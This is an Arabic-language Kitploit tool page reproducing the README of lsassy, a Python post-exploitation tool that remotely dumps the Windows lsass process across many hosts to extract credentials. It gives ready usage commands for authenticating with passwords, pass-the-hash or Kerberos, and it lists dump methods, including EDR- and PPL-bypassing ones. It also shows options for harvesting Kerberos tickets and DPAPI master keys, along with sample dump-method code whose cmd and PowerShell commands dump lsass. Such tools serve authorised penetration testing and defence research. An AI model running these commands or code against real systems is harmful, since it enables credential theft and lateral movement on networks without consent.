Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
lsassy — استخراج بيانات الاعتماد من lsass عن بُعد | Kitploit
أدوات/GitHubGitHub/login-securite/lsassy
جمع المعلوماتما بعد الاستغلالاختبار الاختراقأداة الوصول عن بعد
GitHublogin-securite/lsassy

lsassy

استخراج بيانات الاعتماد من lsass عن بُعد

عرض المستودعالموقع الإلكتروني
2.2k262منذ 5 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

lsassy

PyPI version PyPI Statistics Tests Twitter

أداة بايثون لاستخراج بيانات الاعتماد عن بُعد من مجموعة من المضيفين. يشرح هذا المقال كيفية عملها.

تستخدم هذه الأداة مشروع impacket لقراءة البايتات اللازمة عن بُعد من تفريغ lsass و pypykatz لاستخراج بيانات الاعتماد.

الفصولالوصف
تحذيرقبل استخدام هذه الأداة، اقرأ هذا
التثبيتتثبيت Lsassy
الاستخدام الأساسياستخدام lsassy الأساسي
الاستخدام المتقدماستخدام lsassy المتقدم مع شرح المعاملات
إضافة طريقة تفريغكيفية إضافة طريقة تفريغ lsass مخصصة
شكر وتقديرتحية لهؤلاء الأشخاص والأدوات
ديسكورد الرسميخادم ديسكورد الرسمي

تحذير

على الرغم من أنني بذلت قصارى جهدي لجعل الأداة مستقرة، فقد تبقى آثار في حال حدوث أخطاء.

يمكن لهذه الأداة إما أن تترك بعض تفريغات lsass إذا فشلت في حذفها (على الرغم من أنها تحاول جاهدة القيام بذلك) أو أن تترك مهمة مجدولة قيد التشغيل إذا فشلت في حذفها. لا ينبغي أن يحدث هذا، لكنه قد يحدث. الآن أنت تعلم، استخدمها بحذر.

التثبيت

lsassy تعمل مع بايثون >= 3.7

pip (موصى به)

root@kitploit:~
python3 -m pip install lsassy

من المصدر للتطوير

root@kitploit:~
python3 setup.py install

الاستخدام الأساسي

lsassy تعمل فوراً على أهداف متعددة (IP(s)، نطاق(ات)، CIDR(ات)، اسم مضيف(ات)، FQDN(ات)، ملف(ات) تحتوي على قائمة أهداف)

root@kitploit:~
lsassy [-d domain] -u pixis -p P4ssw0rd targets
lsassy [-d domain] -u pixis -H [LM:]NT targets

بشكل افتراضي، ستحاول lsassy تفريغ lsass عن بُعد باستخدام طريقة comsvcs.dll، إما عبر WMI أو عبر مهمة مجدولة عن بُعد.

Kerberos

يمكن لـ lsassy المصادقة باستخدام Kerberos. يتطلب ذلك TGT صالحاً في متغير البيئة KRB5CCNAME. راجع الاستخدام المتقدم لمزيد من التفاصيل.

root@kitploit:~
lsassy -k targets

أمثلة

root@kitploit:~
 lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.0/24
 lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-10
 lsassy -d hackn.lab -u pixis -p P4ssw0rd hosts.txt
 lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-192.168.1.10

الاستخدام المتقدم

يتم تنفيذ طرق مختلفة لتفريغ lsass في lsassy، ويتم توفير بعض الخيارات لإعطاء المستخدم التحكم في كيفية عمل الأداة.

آلية العمل الداخلية

lsassy مقسمة إلى وحدات

root@kitploit:~
                   +-----------+
                   |   Writer  |
                   +-----+-----+
                         |
                         |
 +----------+      +-----+-----+    +---------+
 |  Parser  |------|   Core    |----| Session |
 +----------+      +-----+-----+    +---------+
                         |
                         |
                   +-----------+
                   |    Dump   |-+
                   |  Methods  | |-+    +----------+
                   +-----+-----+ | |----|   File   |
                     +-----------+ |    +----------+
                      +------------+
                         |
                         |
                   +-----------+
                   |    Exec   |-+
                   |  Methods  | |-+
                   +-----+-----+ | |
                     +-----------+ |
                      +------------+

وحدة Core

هذه الوحدة هي المنسقة. تقوم بإنشاء فئة lsassy مع الوسائط والخيارات المقدمة، ثم تستدعي الوحدات المختلفة لاسترداد بيانات الاعتماد.

وحدة Logger

تُستخدم هذه الوحدة لأغراض التسجيل.

وحدة File

هذه طبقة مبنية فوق Impacket للتصرف مثل كائن ملف بايثون المدمج. تقوم بتجاوز طرق مثل open، read، seek، أو close.

وحدة Dumper

هذه هي الوحدة التي تحتوي على كل منطق التفريغ. اعتماداً على الطريقة المستخدمة، ستقوم بتنفيذ كود على المضيف البعيد لتفريغ lsass باستخدام الطريقة المقدمة.

وحدة Parser

تعتمد هذه الوحدة على pypykatz وتستخدم وحدة الملف في lsassy لتحليل تفريغ lsass عن بُعد

وحدة Writer

تتعامل هذه الوحدة مع جزء الإخراج، إما على الشاشة بتنسيقات مختلفة و/أو كتابة النتائج إلى ملف

طرق التفريغ

يمكن لهذه الأداة تفريغ lsass بطرق مختلفة.

طرق التفريغ (-m أو --method)

  • comsvcs
  • comsvcs_stealth
  • dllinject
  • procdump
  • procdump_embedded
  • dumpert
  • dumpertdll
  • nativedump
  • ppldump
  • ppldump_embedded
  • mirrordump
  • mirrordump_embedded
  • wer
  • EDRSandBlast
  • nanodump
  • rdrleakdiag
  • silentprocessexit
  • sqldumper

طريقة comsvcs

تستخدم هذه الطريقة ملفات ويندوز المدمجة فقط لاستخراج بيانات الاعتماد عن بُعد. تستخدم وظيفة minidump من comsvcs.dll لتفريغ عملية lsass.

طريقة procdump

تقوم هذه الطريقة برفع procdump.exe من SysInternals لتفريغ عملية lsass.

طريقة dumpert

تقوم هذه الطريقة برفع dumpert.exe أو dumpert.dll من outflanknl لتفريغ عملية lsass باستخدام استدعاءات النظام (syscalls).

Native Dump

تقوم هذه الطريقة برفع NativeDump.exe من ricardojoserf لتفريغ عملية lsass باستخدام NTAPIs فقط.

Ppldump

تقوم هذه الطريقة برفع ppldump.exe من itm4n لتفريغ عملية lsass وتجاوز PPL.

Mirrordump

تقوم هذه الطريقة برفع Mirrordump.exe من Ccob لتفريغ lsass باستخدام مقبض مفتوح بالفعل لـ lsass عبر إضافة LSA.

WER

تستخدم هذه الطريقة تقنية WER المستخدمة في PowerSploit.

الخيارات

لبعض طرق التفريغ، يلزم وجود خيارات، مثل مسار procdump أو dumpert. يمكن تعيين هذه الخيارات باستخدام --options أو -O مع قائمة مفصولة بفواصل من الخيارات بطريقة key=value.

root@kitploit:~
... --options key=value,foo=bar

على سبيل المثال:

root@kitploit:~
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m procdump    -O procdump_path=/opt/Sysinternals/procdump.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpert     -O dumpert_path=/opt/dumpert.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpertdll  -O dumpertdll_path=/opt/dumpert.dll

التحليل فقط

يمكنك اختيار تحليل عملية lsass تم تفريغها بالفعل عن طريق توفير المفتاح --parse-only، بالإضافة إلى المعاملين --dump-path و --dump-name.

لاحظ أنه إذا اخترت هذه الطريقة، لن يتم حذف تفريغ lsass عن بُعد.

على سبيل المثال:

root@kitploit:~
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --parse-only --dump-path "/Windows/Temp" --dump-name "lsass.dmp"

الاحتفاظ بالتفريغ

إذا كنت لا تريد حذف التفريغ تلقائياً بعد تشغيل lsassy، يمكنك استخدام --keep-dump.

root@kitploit:~
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --keep-dump

حصاد تذاكر Kerberos

سيتم استخراج تذاكر Kerberos وحفظها في $HOME/.config/lsassy/tickets بتنسيق ccache. يمكنك تحديد دليل الإخراج باستخدام المعامل -K [directory] أو --kerberos-dir [directory]. إذا لم يكن هذا الدليل موجوداً، ستحاول الأداة إنشاؤه قبل إخراج التذاكر.

root@kitploit:~
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -K '/tmp/kerberos_tickets'

حصاد مفاتيح DPAPI الرئيسية

سيتم استخراج مفاتيح DPAPI الرئيسية وحفظها في $HOME/.config/lsassy/masterkeys.txt بتنسيق {GUID}:SHA1. يمكنك تحديد مسار ملف المفتاح الرئيسي باستخدام المعامل -M [path] أو --masterkeys-file [path]. إذا لم يكن مسار الملف موجوداً، ستحاول الأداة إنشاؤه قبل إنشاء الملف.

root@kitploit:~
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -M '/tmp/keys.txt'

طرق المصادقة

هناك ثلاث طرق مختلفة للمصادقة على الأهداف البعيدة باستخدام lsassy. الشرط الوحيد هو أن المستخدم يحتاج إلى صلاحيات إدارية محلية على الأهداف البعيدة.

بيانات الاعتماد النصية الصريحة

الأولى والأكثر وضوحاً هي استخدام بيانات الاعتماد النصية الصريحة. يمكن أن تكون مستخدماً محلياً أو مجال.

root@kitploit:~
## مستخدم محلي
lsassy -u pixis -p P4ssw0rd server01.hackn.lab

## مستخدم مجال
lsassy -d hackn.lab -u jsnow -p WinterIsComing server01.hackn.lab

تمرير التجزئة

من الممكن أيضاً المصادقة باستخدام تجزئة NT للمستخدم. يمكنك تقديم إما LM:NT أو إصدار NT فقط.

root@kitploit:~
lsassy -d hackn.lab -u jsnow -H 38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab
aad3b435b51404eeaad3b435b51404ee

## أو

lsassy -d hackn.lab -u jsnow -H aad3b435b51404eeaad3b435b51404ee:38046f6aa4f7283f9a6b7e1575452109 server01.hackn.lab

Kerberos

يمكنك أيضاً المصادقة باستخدام Kerberos. لكي يعمل هذا، يجب أن يكون لديك تذكرة صالحة محفوظة على القرص، ويجب توفير مسار التذكرة في متغير البيئة KRB5CCNAME. لأغراض الاختبار، يمكن تحقيق ذلك باستخدام أداة getTGT.py من impacket.

root@kitploit:~
getTGT.py hackn.lab/jsnow:WinterIsComing -dc-ip dc01.hackn.lab

سيطلب هذا الأمر TGT ويحفظها في ملف jsnow.ccache.

لكي تعرف lsassy أي تذكرة تستخدم، ستحتاج إلى تعيين مسار التذكرة صراحةً في متغير البيئة KRB5CCNAME.

root@kitploit:~
export KRB5CCNAME="/home/pixis/jsnow.ccache"

عند تكوينها بشكل صحيح، يجب أن تكون قادراً على استخدام تلك التذكرة للمصادقة باستخدام المعامل -k. نظراً لأنك تستخدم هذه التذكرة، لم تعد بحاجة إلى توفير معلومات المصادقة الأخرى.

root@kitploit:~
lsassy -k server01.hackn.lab

لاحظ أنه لكي يعمل هذا، ستحتاج إلى تكوين DNS صالح، إما ديناميكي مع خادم DNS صالح، أو ثابت باستخدام ملف hosts. علاوة على ذلك، يجب عليك دائماً استخدام FQDN عند إنشاء التذاكر واستخدام lsassy، أي استخدم server01.hackn.lab بدلاً من server01.

الإخراج

تنسيق الشاشة

يمكن لـ lsassy إخراج بيانات الاعتماد بتنسيقات مختلفة باستخدام العلم --format أو -f

Pretty (الافتراضي)

التنسيق الافتراضي، يتم عرض بيانات الاعتماد بشكل جميل ونظيف بألوان ذهبية. في credz نثق.

root@kitploit:~
lsassy [-d domain] -u pixis -p P4ssw0rd --format pretty targets
Json

يعرض النتيجة بتنسيق json. يمكن أن يكون مفيداً عند الاستدعاء من سكريبت

root@kitploit:~
lsassy [-d domain] -u pixis -p P4ssw0rd --format json targets
Grep

إخراج قابل للبحث (grepable) يمكن أن يكون مفيداً في الأوامر القصيرة

root@kitploit:~
lsassy [-d domain] -u pixis -p P4ssw0rd --format grep targets
None

لا يعرض النتيجة. مفيد عند استخدام --outfile

root@kitploit:~
lsassy [-d domain] -u pixis -p P4ssw0rd targets --format none

الحفظ في ملف

يحفظ النتيجة بتنسيق قابل للبحث في الملف المقدم (--outfile أو -o)

root@kitploit:~
lsassy [-d domain] -u pixis -p P4ssw0rd targets --format json --outfile /tmp/credentials.txt

تصفية النتائج

إذا كنت تريد الحصول فقط على بيانات اعتماد المستخدمين، مع استبعاد بيانات اعتماد أجهزة الكمبيوتر، يمكنك استخدام العلم --users

root@kitploit:~
lsassy [-d domain] -u pixis -p P4ssw0rd targets --users

إذا كنت لا تريد تصدير التذاكر، يمكنك استخدام العلم --no-tickets

root@kitploit:~
lsassy [-d domain] -u pixis -p P4ssw0rd targets --no-tickets

إذا كنت لا تريد تصدير المفاتيح الرئيسية، يمكنك استخدام العلم --no-masterkeys

root@kitploit:~
lsassy [-d domain] -u pixis -p P4ssw0rd targets --no-masterkeys

إدارة الخيوط

يمكنك تحديد عدد الخيوط التي تريد استخدامها [1-256] باستخدام المعامل --threads.

root@kitploit:~
lsassy [-d domain] -u pixis -p P4ssw0rd targets --threads 32

إضافة طريقة تفريغ

يوجد ملف dummy.py.tpl في دليل dumpmethod. يحتوي هذا الملف على هيكل أساسي لإنشاء وظيفة طريقة تفريغ جديدة.

get_commands

هذه الطريقة إلزامية لأنها الطريقة التي سيتم استخدامها لتنفيذ كود على المضيف البعيد من أجل تفريغ lsass بطريقة ما. يجب أن تعيد قاموساً بعنصرين cmd و pwsh.

أمر cmd هو أمر تفهمه أداة cmd.exe. أمر pwsh هو أمر تفهمه powershell (في معظم الأحيان، أمر cmd صالح أيضاً في powershell)

root@kitploit:~
return {
    "cmd": cmd_command,
    "pwsh": pwsh_command
}

التبعيات

يوجد فئة Dependency يمكن استخدامها لرفع الملفات اللازمة لطريقة التفريغ بسهولة، مثل procdump.exe من sysinternals. يمكن استخدام طريقتين:

  • prepare_dependencies للتحقق مما إذا تم توفير جميع المعاملات من قبل المستخدم للعثور على الملف محلياً على قرص المستخدم ورفعه، ثم رفع الملف بالفعل
  • clean_dependencies لمحاولة إزالة الملفات المرفوعة

(اختياري) prepare

سيتم استدعاء هذه الطريقة قبل تنفيذ الأوامر المقدمة بواسطة get_commands. يمكن استخدامها لرفع الملفات أو التحقق من أشياء.

(اختياري) clean

سيتم استدعاء هذه الطريقة بعد تنفيذ الأوامر المقدمة بواسطة get_commands. يمكن استخدامها لحذف الملفات المرفوعة أو تنظيف الأشياء.

مثال

فيما يلي مثال procdump مع بعض التعليقات

root@kitploit:~
from lsassy.dumpmethod import IDumpMethod, Dependency


class DumpMethod(IDumpMethod):
    """
    إذا كانت طريقة التفريغ الخاصة بك لا يمكنها إنتاج ملف تفريغ باسم ملف تفريغ مخصص، فيجب تعيين هذا الإعداد إلى False
    وإلغاء تعليق 'dump_name' لتوفير اسم ملف التفريغ المتوقع على النظام البعيد.
    """
    custom_dump_name_support = True  # الافتراضي: True
    # dump_name              = ""    # الافتراضي: اسم ملف تفريغ عشوائي

    """
    إذا كانت طريقة التفريغ الخاصة بك لا يمكنها إنتاج ملف تفريغ في دليل مخصص، فيجب تعيين هذا الإعداد إلى False
    وإلغاء تعليق 'dump_share' و 'dump_path' لتوفير موقع ملف التفريغ المتوقع على النظام البعيد.
    إذا كانت أداة التفريغ الخاصة بك يمكن أن يكون لها اسم تفريغ مخصص ولكن ليس امتداد تفريغ مخصص، فقدم امتداد التفريغ في متغير dump_ext
    في هذا المثال، سينتج procdump.exe تفريغاً أينما نريد، باسم نختاره، لكنه سيضيف دائماً امتداد .dmp.
    """
    custom_dump_path_support = True  # الافتراضي: True
    # dump_share             = ""    # الافتراضي: "C$"
    # dump_path              = ""    # الافتراضي: "\\Windows\\Temp\\"
    dump_ext                 = "dmp"

    def __init__(self, session, timeout):
        """
        يتم تحميل __init__ لإنشاء بعض متغيرات المثيل
        """
        super().__init__(session, timeout)
        
        """
        تتطلب هذه الوحدة رفع procdump.exe على الخادم البعيد قبل تنفيذه.
        لذلك نضيف procdump كتبعية. الوسيطة الأولى هي اسم للتبعية (يمكن أن يكون عشوائياً)،
        والوسيطة الثانية هي اسم الملف القابل للتنفيذ الافتراضي على قرص المستخدم المحلي.
        """
        self.procdump = Dependency("procdump", "procdump.exe")

    def prepare(self, options):
        """
        يتم تحميل طريقة Prepare حتى نتمكن من
        - التحقق مما إذا تم توفير المعاملات الإلزامية
        - رفع procdump على المضيف البعيد.
        كل هذا يمكن القيام به باستخدام طريقة prepare_dependencies من كائن التبعية الخاص بنا
        """
        return self.prepare_dependencies(options, [self.procdump])

    def clean(self):
        """
        يتم تحميل طريقة Clean حتى نتمكن من حذف التبعية إذا تم رفعها
        ستقوم طريقة clean_dependencies بذلك نيابة عنا.
        """
        self.clean_dependencies([self.procdump])

    def get_commands(self, dump_path=None, dump_name=None, no_powershell=False):
        """
        يتم تحميل طريقة get_commands لأنها إلزامية.
        يتم توفير طريقتين مختلفتين لتفريغ lsass باستخدام cmd.exe و powershell وإعادتهما.
        يتم استخدام طريقة get_remote_path من كائن التبعية الخاص بنا للحصول على المسار البعيد الصحيح
        لـ procdump على هدفنا.
        """
        
        cmd_command = """for /f "tokens=2 delims= " %J in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do {} -accepteula -o -ma %J {}{}""".format(
            self.procdump.get_remote_path(),
            self.dump_path, self.dump_name
        )
        pwsh_command = """{} -accepteula -o -ma (Get-Process lsass).Id {}{}""".format(
            self.procdump.get_remote_path(),
            self.dump_path, self.dump_name
        )
        return {
            "cmd": cmd_command,
            "pwsh": pwsh_command
        }

يمكنك مراجعة الفئة الوهمية (dummy class) لمزيد من التعليقات و/أو المعلومات.

شكر وتقدير

image

  • Kodoque لاسم lsassy
  • Impacket
  • SkelSec لـ Pypykatz، وكذلك لصبره ومساعدته
  • mpgn لمساعدته وأفكاره
  • Cn33liz لـ Dumpert
  • itm4n لـ PPLDump
  • Ccob لـ MirrorDump
  • Matt Graeber لـ تقنية WER
  • MrUn1k0d3r لـ تقنية تعديل خدمة SMB
  • th3m4ks و Qazeer لـ EDRSandBlast
  • s4ntiago_p لـ nanodump
  • 0gtweet لـ تقنية Rdrleakdiag
  • Luis Rocha لـ تقنية SQLDumper
  • Asaf Gilboa لـ تقنية LsassSilentProcessExit

ديسكورد الرسمي

https://discord.hackndo.com

أخطاء معروفة

  • الإصدارات المترجمة لا تتضمن table_output بسبب خطأ غريب مع مكتبة rich

تاريخ النجوم

مخطط تاريخ النجوم
تنزيل الأداة